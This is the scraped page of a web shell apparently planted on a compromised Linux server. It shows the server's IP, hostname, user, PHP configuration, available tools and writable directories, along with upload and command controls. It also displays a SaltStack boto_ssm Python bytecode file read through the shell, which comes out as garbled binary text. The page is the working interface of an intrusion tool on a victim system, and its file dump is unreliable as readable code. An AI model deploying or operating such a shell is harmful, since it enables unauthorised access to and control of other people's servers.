403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/boto_ssm.cpython-310.pyc
o

;j��@sxdZddlZddlmmZddlZe�e�Z	dd�Z
						d
dd�Z									dd	d
�Zddd�Z
dS)a�
Connection module for Amazon SSM

:configuration: This module uses IAM roles assigned to the instance through
    Instance Profiles. Dynamic credentials are then automatically obtained
    from AWS API and no further configuration is necessary. More Information
    available at:

    .. code-block:: text

        http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html

:depends: boto3
�NcCs&tjj��}|durtdtd�|S)z,
    Only load if boto libraries exist.
    Tzboto3.assign_funcs�ssm)�salt�utilsZversionsZcheck_boto_reqs�	__utils__�__name__)Z
has_boto_reqs�r�I/opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/boto_ssm.py�__virtual__sr	Fc	Csptdd||||d�}z	|j||d�}Wn|jjy&t�d|�YdSw|r2t�|dd�S|ddS)	z�
    Retrieves a parameter from SSM Parameter Store

    .. versionadded:: 3000

    .. code-block:: text

        salt-call boto_ssm.get_parameter test-param withdescription=True
    �boto3.get_connectionr��region�key�keyid�profile)�NameZWithDecryptionz(get_parameter: Unable to locate name: %sFZ	Parameter�Value)r�
get_parameter�
exceptions�ParameterNotFound�log�warning�json�loads)	�nameZwithdecryptionZ	resp_jsonrr
rr�conn�resprrrr"s
��r�StringcCs�tdd|||	|
d�}|dvrtd��|dkr|std��i}|r%||d<|r+||d	<|r1||d
<z|jd||||d�|��}
W|
dS|jjyTt�d�Yd
Sw)z�
    Sets a parameter in the SSM parameter store

    .. versionadded:: 3000

    .. code-block:: text

        salt-call boto_ssm.put_parameter test-param test_value Type=SecureString KeyId=alias/aws/ssm Description='test encrypted key'
    r
rr)rZ
StringList�SecureStringz/Type needs to be String|StringList|SecureStringrzRequire KeyId with SecureString�Description�KeyId�AllowedPattern)rr�Type�	OverwritezfThe parameter already exists. To overwrite this value, set the Overwrite option in the request to TrueF�VersionNr)r�AssertionError�
put_parameterrZParameterAlreadyExistsrr)rrrr!rr"r rr
rrrZ	boto_argsrrrrr%Cs6
���	���r%cCsdtdd||||d�}z|j|d�}Wn|jjy%t�d|�YdSw|ddd	kr0d
SdS)z�
    Removes a parameter from the SSM parameter store

    .. versionadded:: 3000

    .. code-block:: text

        salt-call boto_ssm.delete_parameter test-param
    r
rr)rz+delete_parameter: Unable to locate name: %sFZResponseMetadataZHTTPStatusCode��T)r�delete_parameterrrrr)rrr
rrrrrrrr'vs

��r')FFNNNN)	NrNFNNNNN)NNNN)�__doc__�loggingZsalt.utils.jsonrrZsalt.utils.versionsr�	getLoggerrrr	rr%r'rrrr�<module>s0

�$
�3

Youez - 2016 - github.com/yon3zu
LinuXploit